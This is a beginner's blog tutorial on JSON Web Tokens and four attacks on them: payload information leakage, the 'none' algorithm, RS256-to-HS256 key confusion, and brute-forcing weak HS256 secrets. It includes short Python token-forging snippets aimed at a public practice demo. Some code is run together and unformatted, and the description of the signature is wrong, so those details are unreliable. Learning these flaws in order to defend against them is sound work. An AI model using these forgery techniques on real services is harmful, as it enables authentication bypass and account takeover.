Hacking JSON Web Token (JWT)

Published in
5 min readMay 3, 2018



Well this is my first writeup and there might be ton of mistakes as i go along writing it out so please give me feedback so that i can work over it.

So lets start!


0x01 JWT workflow

Starting with JWT, it is a very lightweight specification

This specification allows us to use JWT to pass secure and reliable information between users and servers.

JWT is often used for front-end and back-end separation and can be used with the Restful API and is often used to build identity authentication mechanisms.

Take an example of vimeo.com , which is one of the biggest video hosting companies as per my knowledge.

Figure 1
Figure 2

When a user enters his/her credentials, a post request is sent (check Figure 1) after which the credentials are validated. If they are a correct combo then the user is presented with response having a JWT token as seen in Figure 2.

Example JWT : eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

Now whenever a user accesses something, the request which are made are slightly different having a new header authorization: jwt

Figure 3
Figure 4

It can be seen that JWT is actually carried as authenticated information, and JWT is often stored in localstorage by frontend code.

Local storage is a new feature of HTML5 that basically allows you (a web developer) to store any information you want in your user’s browser using JavaScript. Simple, right?

0x02 JWT Format

The JWT format is very simple,

The JWT’s data is divided into three parts: headers, payloads, signatures (signature).

The three are then .divided by base64UrlEncode

function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');

JWT data in the previous section (See example JWT)


The three parts are :

  1. Header

Which is {“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851",”typ”:”JWT”,”alg”:”RS256"} after decoding.

Figure 5

The headers contain information about the JWT configuration, such as the signature algorithm (alg), type (JWT), and key file used by the algorithm (used when the server requires multiple key files).

2. Payloads


Payloads are used to store some users’ data, such as username (test123).”

3. Signature


Because the header and payload are stored in plaintext, the signature is used to prevent data from being modified. The
signature of the transaction function that provides data often uses RS256 (RSA asymmetric encryption and private key signature) and HS256 (HMAC SHA256 symmetric encryption) algorithm. , The signature object is base64UrlEncode(headers) + ‘.’ + base64UrlEncode(‘signature’).

Read more : https://jwt.io/introduction/

0x03 Attacking JWT

1. The leakage of sensitive information

Obviously, because the payload is transmitted in plaintext, information leakage occurs if there is sensitive information in the payload.

2. Modify the algorithm to none

Signature algorithm ensures that JWT is not modified by malicious users during transmission

But the alg field in the header can be changed to none

Some JWT libraries support the none algorithm, that is, no signature algorithm. When the alg is none, the backend will not perform signature verification.

After changing alg to none, remove the signature data from the JWT (only header + ‘.’ + payload + ‘.’) and submit it to the server.

An example of such an attack can be found at: http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

The code can be found on Github https://github.com/Sjord/jwtdemo/

The solution to this example is as follows

import jwt
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

The result is

Figure 6

3. Modify the algorithm RS256 to HS256 (Asymmetric Cipher Algorithm => Symmetric Cipher Algorithm)

The algorithm HS256 uses the secret key to sign and verify each message.

The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

The backend code uses the RSA public key + HS256 algorithm for signature verification.

In the same way, you can use an example to understand this attack http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA public key: http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

The example solution is as follows

import jwt# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()print publicprint jwt.encode({"data":"test"}, key=public, algorithm='HS256')

The result is as follows (verification passed):

Figure 7

4. HS256 (symmetric encryption) key cracking

If the HS256 key strength is weak, it can be directly brute-forced, such as using the secret string as a key in the PyJWT library sample code.

Then the key is guessed violently, when the key is correct then the decryption is successful, the key error decryption code throws an exception

Can use PyJWT or John Ripper for crack test

Attachment: Related tools

PyJWT library https://github.com/jpadilla/pyjwt

>>> import jwt>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'>>> jwt.decode(encoded, 'secret', algorithms=['HS256']){'some': 'payload'}